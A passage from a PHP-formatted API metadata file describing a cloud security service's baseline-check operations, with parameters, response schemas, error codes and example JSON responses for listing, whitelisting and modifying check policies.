3 means success and failure\\",\\n \\"ParamDefaultValue\\": \\"5\\",\\n \\"ParamType\\": 1,\\n \\"MinValue\\": 5,\\n \\"MaxValue\\": 24,\\n \\"EnumValue\\": \\"0,1,2,3\\",\\n \\"Value\\": \\"18\\",\\n \\"RuleId\\": \\"pwd_reuse.system_auth\\"\\n }\\n ]\\n }\\n ]\\n }\\n ],\\n \\"Count\\": 20,\\n \\"RequestId\\": \\"0DBF1E27-98D8-5EC2-9CF3-4A2E26F6****\\"\\n}","type":"json"}]', 'title' => 'DescribeCheckFixDetails', ], 'IgnoreCheckItems' => [ 'summary' => 'Adds risk items to the whitelist or removes risk items from the whitelist by specifying servers and risk items.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '141289', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '指定机器', 'description' => 'The UUIDs of the servers.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.', 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '55bf7984-9b3b-4e8d-be8e-f3e5b0b4****', ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'CheckAndRiskTypeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '检查项', 'description' => 'The information about check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk item.'."\n", 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '52', ], 'RiskType' => [ 'description' => 'The baseline type of the check item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'weak_password', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'title' => '操作类型', 'description' => 'The operation that you want to perform on the risk item.Valid values:'."\n" .'* **1**: adds the risk item to the whitelist'."\n" .'* **2**: removes the risk item from the whitelist', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'title' => '加白理由', 'description' => 'The reason why you add the risk item to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'already config in another way', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: host baseline'."\n" .'* **agentless**: agentless baseline'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [DescribeCheckWarnings](~~116182~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'ContainerItems', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of container names that need to be whitelisted.', 'type' => 'array', 'items' => [ 'description' => 'Name of the container to be whitelisted.', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '14eb2fb6-ab02-4869-a1e1-2cdb0f7*****', ], 'ContainerNames' => [ 'description' => 'The names of the containers that need to be whitelisted for the current asset, separated by English commas.', 'type' => 'string', 'required' => false, 'example' => '"anythingllm,ChuanhuChat"', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '11EBEC99-B4B5-542E-8C17-B87B624C****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11EBEC99-B4B5-542E-8C17-B87B624C****\\"\\n}","type":"json"}]', 'title' => 'IgnoreCheckItems', 'translator' => 'machine', ], 'DescribeExposedCheckWarning' => [ 'summary' => 'Queries the weak password-related risks of a specified server that is exposed on the Internet.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'TypeName', 'in' => 'query', 'schema' => [ 'description' => 'The type of the baseline.'."\n" ."\n" .'> You can call the [DescribeRiskType](~~DescribeRiskType~~) operation to obtain the types of baselines from the response parameter **TypeName**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'weak_password', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '6541631a-7d47-41fd-9fef-9518113f****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6D9CDB47-6191-4415-BE63-7E8B12CD****', ], 'WarningList' => [ 'description' => 'An array that consists of the baseline risk items of the exposed server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline risk item.'."\n", 'type' => 'object', 'properties' => [ 'SubTypeAlias' => [ 'description' => 'The display name of the baseline sub type.'."\n", 'type' => 'string', 'example' => 'Redis DB login weak password baseline', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '1d35b031-ee4e-4e53-8b53-465ab712****', ], 'TypeAlias' => [ 'description' => 'The display name of the baseline type.'."\n", 'type' => 'string', 'example' => 'Weak password', ], 'RiskName' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'example' => 'Weak password-Redis DB login weak password baseline', ], 'RiskId' => [ 'description' => 'The ID of the baseline.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~116179~~) operation to query the IDs of baselines.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '107', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": 10,\\n \\"RequestId\\": \\"6D9CDB47-6191-4415-BE63-7E8B12CD****\\",\\n \\"WarningList\\": [\\n {\\n \\"SubTypeAlias\\": \\"Redis DB login weak password baseline\\",\\n \\"Uuid\\": \\"1d35b031-ee4e-4e53-8b53-465ab712****\\",\\n \\"TypeAlias\\": \\"Weak password\\",\\n \\"RiskName\\": \\"Weak password-Redis DB login weak password baseline\\",\\n \\"RiskId\\": 107\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeExposedCheckWarning', ], 'GetCheckRiskStatistics' => [ 'summary' => 'Queries the statistics on risk scenarios and check items that are used in the risk scenarios, including the statistics on low-risk, medium-risk, and high-risk items by baseline type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '141288', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The risk statistics of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'An array consisting of the statistics on check items that are used in risk scenarios.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics on check items that are used in the risk scenario.'."\n", 'type' => 'object', 'properties' => [ 'SceneName' => [ 'title' => '风险场景名称', 'description' => 'The name of the risk scenario.'."\n", 'type' => 'string', 'example' => 'SECURITY', ], 'LowWarningCount' => [ 'title' => '低危检查项数量', 'description' => 'The number of low-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'MediumWarningCount' => [ 'title' => '中危检查项数量', 'description' => 'The number of medium-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'HighWarningCount' => [ 'title' => '高危检查项数量', 'description' => 'The number of high-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '43', ], 'TotalCount' => [ 'title' => '检查项总数量', 'description' => 'The total number of check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '219', ], 'PassCount' => [ 'title' => '通过检查项数量', 'description' => 'The number of passed check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '143', ], 'SubStatistics' => [ 'description' => 'The statistics on check items that are used in the risk scenario by baseline type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics on check items that are used in the risk scenario and belong to the baseline type.'."\n", 'type' => 'object', 'properties' => [ 'TypeName' => [ 'title' => '基线类别', 'description' => 'The baseline type.'."\n", 'type' => 'string', 'example' => 'weak_password', ], 'Alias' => [ 'title' => '基线类别名称', 'description' => 'The name of the baseline type.'."\n", 'type' => 'string', 'example' => 'weak_password', ], 'LowWarningCount' => [ 'title' => '低危检查项数量', 'description' => 'The number of low-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'MediumWarningCount' => [ 'title' => '中危检查项数量', 'description' => 'The number of medium-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HighWarningCount' => [ 'title' => '高危检查项数量', 'description' => 'The number of high-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'TotalCount' => [ 'title' => '检查项总数量', 'description' => 'The total number of check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'PassCount' => [ 'title' => '通过检查项数量', 'description' => 'The number of passed check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], ], ], ], 'Count' => [ 'description' => 'The number of risk scenarios.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '2C455672-2490-5211-84EC-420C7818****', ], 'Summary' => [ 'description' => 'Historical check item statistics.'."\n", 'type' => 'object', 'properties' => [ 'RiskCheckCnt' => [ 'description' => 'Check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskWarningCnt' => [ 'description' => 'Risks to be handled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'RiskDays' => [ 'description' => 'Days since check items failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'HandledCheckTotal' => [ 'description' => 'A risk item exists.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'HandledCheckToday' => [ 'description' => 'Check items handled today.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HandledDays' => [ 'description' => 'Total days since check items were handled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '365', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"SceneName\\": \\"SECURITY\\",\\n \\"LowWarningCount\\": 3,\\n \\"MediumWarningCount\\": 29,\\n \\"HighWarningCount\\": 43,\\n \\"TotalCount\\": 219,\\n \\"PassCount\\": 143,\\n \\"SubStatistics\\": [\\n {\\n \\"TypeName\\": \\"weak_password\\",\\n \\"Alias\\": \\"weak_password\\",\\n \\"LowWarningCount\\": 0,\\n \\"MediumWarningCount\\": 0,\\n \\"HighWarningCount\\": 3,\\n \\"TotalCount\\": 5,\\n \\"PassCount\\": 2\\n }\\n ]\\n }\\n ],\\n \\"Count\\": 3,\\n \\"RequestId\\": \\"2C455672-2490-5211-84EC-420C7818****\\",\\n \\"Summary\\": {\\n \\"RiskCheckCnt\\": 1,\\n \\"RiskWarningCnt\\": 5,\\n \\"RiskDays\\": 30,\\n \\"HandledCheckTotal\\": 3,\\n \\"HandledCheckToday\\": 0,\\n \\"HandledDays\\": 365\\n }\\n}","type":"json"}]', 'title' => 'GetCheckRiskStatistics', ], 'ModifyStrategy' => [ 'summary' => 'Modifies a baseline check policy.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.X.X', ], ], [ 'name' => 'CycleDays', 'in' => 'query', 'schema' => [ 'description' => 'The new interval of the baseline check. Valid values:'."\n" ."\n" .'* **1**: every 2 days'."\n" .'* **3**: every 4 days'."\n" .'* **7**: every 8 days'."\n" .'* **30**: every 31 days'."\n", 'type' => 'string', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The new name of the baseline check policy.'."\n", 'type' => 'string', 'required' => true, 'example' => 'testStrategy', ], ], [ 'name' => 'CycleStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The new time range during which the baseline check starts. Valid values:'."\n" ."\n" .'* **0**: The baseline check starts within the time range from 00:00 to 06:00.'."\n" .'* **6**: The baseline check starts within the time range from 06:00 to 12:00.'."\n" .'* **12**: The baseline check starts within the time range from 12:00 to 18:00.'."\n" .'* **18**: The baseline check starts within the time range from 18:00 to 24:00.'."\n" ."\n" .'> This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => '18', ], ], [ 'name' => 'RiskSubTypeName', 'in' => 'query', 'schema' => [ 'description' => 'The subtype of the baselines. You can call the [DescribeRiskType](~~DescribeRiskType~~) operation to query the subtypes of baselines.'."\n", 'type' => 'string', 'required' => true, 'example' => 'hc_exploit_redis', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'string', 'required' => false, 'example' => '245', ], ], [ 'name' => 'RiskCustomParams', 'in' => 'query', 'schema' => [ 'description' => 'The custom configurations of the baseline. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **typeName**: the name of the baseline.'."\n" ."\n" .'* **checkDetails**: the details of the baseline. The value is in the JSON format.'."\n" ."\n" .' * **checkId**: the ID of the check item.'."\n" ."\n" .' * **rules**: the rule configurations. The value is in the JSON format.'."\n" ."\n" .' * **ruleId**: the ID of the rule.'."\n" ."\n" .' * **paramList**: the list of parameters in the rule. The value is in the JSON format.'."\n" ."\n" .' * **paramName**: the name of the parameter.'."\n" .' * **value**: the value of the parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"typeName":"hc_centos_6_custom","checkDetails":[{"checkId":4,"rules":[{"ruleId":"pass_min_days_login_defs.must.cus","paramList":[{"paramName":"range_val","value":"7"}]}]}]}]', 'default' => '[]', ], ], [ 'name' => 'CustomType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the baseline check policy. Valid values:'."\n" ."\n" .'* **custom**: a custom baseline check policy'."\n" .'* **common**: a standard baseline check policy'."\n", 'type' => 'string', 'required' => true, 'example' => 'common', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The method that is used to apply the baseline check policy. Valid values:'."\n" ."\n" .'* **groupId**: asset groups'."\n" .'* **uuid**: assets'."\n", 'type' => 'string', 'required' => true, 'example' => 'groupId', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the baseline check based on the baseline check policy starts. Specify the time in the hh:mm:ss format.'."\n", 'type' => 'string', 'required' => true, 'example' => '00:01:00', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the baseline check based on the baseline check policy ends. Specify the time in the hh:mm:ss format.'."\n", 'type' => 'string', 'required' => true, 'example' => '05:00:00', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The result of modifying the baseline check policy.'."\n", 'type' => 'object', 'properties' => [ 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8EFA2BD9-00CD-5D69-B6B0-4EE83EAF072E', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Result' => [ 'description' => 'The result returned.'."\n", 'type' => 'object', 'properties' => [ 'StrategyId' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8164239', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"8EFA2BD9-00CD-5D69-B6B0-4EE83EAF072E\\",\\n \\"Success\\": true,\\n \\"Result\\": {\\n \\"StrategyId\\": 8164239\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 200\\n 8EFA2BD9-00CD-5D69-B6B0-4EE83EAF072E\\n 1\\n true\\n \\n 8164239\\n \\n","errorExample":""}]', 'title' => 'ModifyStrategy', ], 'ModifyStrategyTarget' => [ 'summary' => 'Modifies the servers to which a baseline check policy is applied.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the configuration. Set the value to **hc_strategy**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'hc_strategy', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy. The ID is returned after the policy is created. The value of this parameter is in the JSON format and contains the following field:'."\n" ."\n" .'* **strategyId**: the ID of the policy'."\n", 'type' => 'string', 'required' => true, 'example' => '{"strategyId":8070645}', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The information about the asset group to which the policy is applied. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **TargetType**: the type of the asset to which the policy is applied. Set the value to **groupId**, which indicates that the policy is applied to an asset group.'."\n" .'* **BindUuidCount**: the number of servers to which the policy is applied.'."\n" .'* **Target**: the ID of the asset group.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"Target":"9273980","BindUuidCount":5320,"TargetType":"groupId","Flag":"del"},{"Target":"9677606","TargetType":"groupId","Flag":"del"},{"Target":"10121607","BindUuidCount":7,"TargetType":"groupId","Flag":"add"},{"Target":"10670708","BindUuidCount":2,"TargetType":"groupId","Flag":"del"},{"Target":"11246338","BindUuidCount":6,"TargetType":"groupId","Flag":"del"},{"Target":"11291161","BindUuidCount":13,"TargetType":"groupId","Flag":"del"}]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0E147337-5B0B-5776-B0B6-D569DBA8F60F', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0E147337-5B0B-5776-B0B6-D569DBA8F60F\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 0E147337-5B0B-5776-B0B6-D569DBA8F60F\\n","errorExample":""}]', 'title' => 'ModifyStrategyTarget', ], 'DescribeCheckWarningSummary' => [ 'summary' => 'Queries the statistical information about baseline check results. The information includes the number of servers on which a baseline check is performed, the number of baseline check items, and the pass rate of check items in the last baseline check.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '219.133.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and the response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'TypeName', 'in' => 'query', 'schema' => [ 'description' => 'The level-1 type of check items.'."\n" ."\n" .'> You can call the [DescribeRiskType](~~DescribeRiskType~~) operation to query the level-1 types of check items.'."\n", 'type' => 'string', 'required' => false, 'example' => 'database', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **2**: verifying'."\n" .'* **3**: passed'."\n" .'* **5**: expired'."\n" .'* **6**: ignored'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RiskStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the baseline check. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **3**: passed'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RiskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the risk item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Redis', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'f03259d8-1e81-4fae-bcbb-275fb5****', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.', 'type' => 'string', 'required' => false, 'example' => 'c80dae73bd1be442699766b14ffd0****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container field. Valid values:'."\n" ."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageId**: the ID of the image'."\n" .'* **namespace**: the namespace'."\n", 'type' => 'string', 'required' => false, 'example' => 'namespace', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the container field.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c819391d2d520485fa3e81e2dc2ea****', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query condition. Valid values:'."\n" ."\n" .'* **uuid**: the ID of an asset'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of asset groups.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '00BD7CE2-284A-4534-BD09-FB69836DD750', ], 'TotalCount' => [ 'description' => 'The total number of check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of check items returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'WarningSummarys' => [ 'description' => 'The statistics of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics of check items.'."\n", 'type' => 'object', 'properties' => [ 'LowWarningCount' => [ 'description' => 'The number of low-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'CheckCount' => [ 'description' => 'The number of check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'MediumWarningCount' => [ 'description' => 'The number of medium-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'LastFoundTime' => [ 'description' => 'The time when the last baseline check was performed.'."\n", 'type' => 'string', 'example' => '2019-01-01 12:23:00', ], 'RiskId' => [ 'description' => 'The ID of the risk item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '118', ], 'SubTypeAlias' => [ 'description' => 'The level-2 type of the risk item.'."\n", 'type' => 'string', 'example' => 'Redis', ], 'WarningMachineCount' => [ 'description' => 'The number of assets on which risk items are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'HighWarningCount' => [ 'description' => 'The number of high-risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TypeAlias' => [ 'description' => 'The level-1 type of the check item. Examples: database, system, weak password, and middleware.'."\n", 'type' => 'string', 'example' => 'databases', ], 'RiskName' => [ 'description' => 'The name of the risk item.'."\n", 'type' => 'string', 'example' => 'Redis', ], 'Level' => [ 'description' => 'The risk level of the risk item. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'CheckExploit' => [ 'description' => 